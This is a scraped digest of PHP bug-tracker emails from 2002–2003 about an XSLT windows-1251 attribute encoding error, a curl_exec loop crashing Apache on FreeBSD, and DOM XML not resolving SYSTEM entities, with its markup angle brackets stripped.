http://bugs.php.net/fix.php?id=22971r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=22971r=dst IIS Stability: http://bugs.php.net/fix.php?id=22971r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=22971r=gnused
#21616 [Fbk-Opn]: encoding error in attributes with result_dump_*
ID: 21616 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Feedback +Status: Open Bug Type: DOM XML related Operating System: linux PHP Version: 4.3.0 New Comment: xslt: xsl:output method=html encoding=windows-1251 omit-xml-declaration=yes/ .. a href=ïðèâåòïðèâåò/a .. //contents inside a tag and href attribute in win-1251 encoding output with result_dump_mem(): a href=%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%82ïðèâåò/a mustbe: a href=%EF%F0%E8%E2%E5%F2ïðèâåò/a it seems that contents inside href encodes as unicode, not as win-1251 or something like that. Previous Comments: [2003-01-15 02:17:31] [EMAIL PROTECTED] Please provide the shortest possible example for reproducing your error. thanks chregu [2003-01-13 07:59:20] [EMAIL PROTECTED] encoding error in attributes with result_dump_* when xsl:output method=html encoding=windows-1251/ characters in win-1251 encoding presented in href, src, .. html attributes encode into %HEX sequence incorrectly -- Edit this bug report at http://bugs.php.net/?id=21616edit=1
#21616 [NEW]: encoding error in attributes with result_dump_*
From: [EMAIL PROTECTED] Operating system: linux PHP version: 4.3.0 PHP Bug Type: DOM XML related Bug description: encoding error in attributes with result_dump_* encoding error in attributes with result_dump_* when xsl:output method=html encoding=windows-1251/ characters in win-1251 encoding presented in href, src, .. html attributes encode into %HEX sequence incorrectly -- Edit bug report at http://bugs.php.net/?id=21616edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=21616r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=21616r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=21616r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=21616r=needtrace Try newer version: http://bugs.php.net/fix.php?id=21616r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=21616r=support Expected behavior: http://bugs.php.net/fix.php?id=21616r=notwrong Not enough info:http://bugs.php.net/fix.php?id=21616r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=21616r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=21616r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=21616r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=21616r=dst IIS Stability: http://bugs.php.net/fix.php?id=21616r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=21616r=gnused
#20084 [NEW]: curl_exec crashes apache thread
From: [EMAIL PROTECTED] Operating system: FreeBSD 4.3, 4.5 PHP version: 4.2.3 PHP Bug Type: cURL related Bug description: curl_exec crashes apache thread I use php_curl module, library version 7.10.1 I send around 100 GET requests on one site for example like this: ? for ($i=0;$i100;$i++) { if (!$ch=curl_init()) break; curl_setopt($ch,CURLOPT_URL,http://www.cnn.com;); error_log(curl start); curl_exec($ch); error_log(curl end); } curl_close($ch); ? I use FreeBSD 4.3 and FreeBSD 4.5 with Apache 1.3.26 and php 4.2.3 as apache module. I included output before curl_exec and after it into php error. On 50-55 times apache thread crashes with message: child pid 51696 exit signal Segmentation fault (11). May be memory leak exists deep inside of curl library? Last message in php error log is: curl start. I think so, because i used next example where curl handle is only one. ? if (!$ch=curl_init()) exit; for ($i=0;$i100;$i++) { curl_setopt($ch,CURLOPT_URL,http://www.cnn.com;); error_log(curl start); curl_exec($ch); error_log(curl end); } curl_close($ch); ? The result was same. Thanks in advance. Anton Kalmykov [EMAIL PROTECTED] -- Edit bug report at http://bugs.php.net/?id=20084edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=20084r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=20084r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=20084r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=20084r=needtrace Try newer version: http://bugs.php.net/fix.php?id=20084r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=20084r=support Expected behavior: http://bugs.php.net/fix.php?id=20084r=notwrong Not enough info:http://bugs.php.net/fix.php?id=20084r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=20084r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=20084r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=20084r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=20084r=dst IIS Stability: http://bugs.php.net/fix.php?id=20084r=isapi
#19800 [NEW]: DOM XML does not resolve entities
From: [EMAIL PROTECTED] Operating system: linux PHP version: 4.2.3 PHP Bug Type: DOM XML related Bug description: DOM XML does not resolve entities l10n.xml: ?xml version=1.0 encoding=UTF-8? !DOCTYPE l:i18n SYSTEM l10n.dtd [ !ENTITY ru SYSTEM ru.xml !ENTITY en SYSTEM en.xml ] l:i18n xmlns:l=http://docbook.sourceforge.net/xmlns/l10n/1.0; ru; en; /l:i18n l10n.xsl: xsl:param name=l10n.xml select=document('../l10n/l10n.xml')/ xsl:template match=/ xsl:copy-of select=$l10n.xml/ /xsl:template If execute l10n.xsl it just prints contents of l10n.xml without resolving ru; and en; entities. -- Edit bug report at http://bugs.php.net/?id=19800edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=19800r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=19800r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=19800r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=19800r=needtrace Try newer version: http://bugs.php.net/fix.php?id=19800r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=19800r=support Expected behavior: http://bugs.php.net/fix.php?id=19800r=notwrong Not enough info:http://bugs.php.net/fix.php?id=19800r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=19800r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=19800r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=19800r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=19800r=dst IIS Stability: http://bugs.php.net/fix.php?id=19800r=isapi
#17779 [Com]: DOMXML can't handle SYSTEM DTD
ID: 17779 Comment by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: DOM XML related Operating System: Windows 2000 PHP Version: 4.2.1 New Comment: DOMXML does not resolve system entities, here is example: I use Apache 1.3.26 and PHP 4.2.3 as apache module on Linux, xml l10n.xml: ?xml version=1.0 encoding=UTF-8? !DOCTYPE l:i18n SYSTEM l10n.dtd [ !ENTITY ru SYSTEM ru.xml !ENTITY en SYSTEM en.xml ] l:i18n xmlns:l=http://docbook.sourceforge.net/xmlns/l10n/1.0; ru; en; /l:i18n and stylesheet which just prints this xml out: ... xsl:param name=l10n.xml select=document('../l10n/l10n.xml')/ ... xsl:copy-of select=$l10n.xml/ ... I expected that the ouput will be with resolved entities, but it is not and it prints just: l:i18n xmlns:l=http://docbook.sourceforge.net/xmlns/l10n/1.0; ru; en; /l:i18n whithout any warning or errors. Previous Comments: [2002-09-14 06:51:55] [EMAIL PROTECTED] The problem lies with both Windows (any apache version) and Apache 2 on other systems. On windows at least, the current working directory for libxml2 calls ends up being the apache directory. See also bug 17390 (this bug is also a windows problem and not just Apache 2). The example in this bug report works for loading the file as the file is passed in as file('test.xml') rather than just the filename. getcwd() will return the correct working directory as well. The problem is that the file functions (including DTD references) the domxml extension uses, are directly from libxml2, which when loaded in the mentioned environments is loaded with apache and its working directory being the apache directory. Am unsure about a fix for this unless the current working directory can be set via libxml2 calls. Have yet to find if this is possible. Have only confirmed this using php as an apache module. [2002-08-14 12:24:11] [EMAIL PROTECTED] I use Apache 1.3.20 with PHP run as CGI [2002-08-14 12:22:09] [EMAIL PROTECTED] Hi do you use apache 1.3 or apache2? chregu [2002-06-18 09:36:03] [EMAIL PROTECTED] echo getcwd() gives me correct path, DOMXML still throws a warning, i wrote before (both with and without DOMXML_LOAD_COMPLETE_ATTRS) [2002-06-18 05:55:17] [EMAIL PROTECTED] Works fine for me with Linux, both the Apache module and CGI version. I think that the WIndows thing doesn't change to the correct working directory. Can you try this by putting an echo getcwd() just before the call to xmldoc(). Derick The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/17779 -- Edit this bug report at http://bugs.php.net/?id=17779edit=1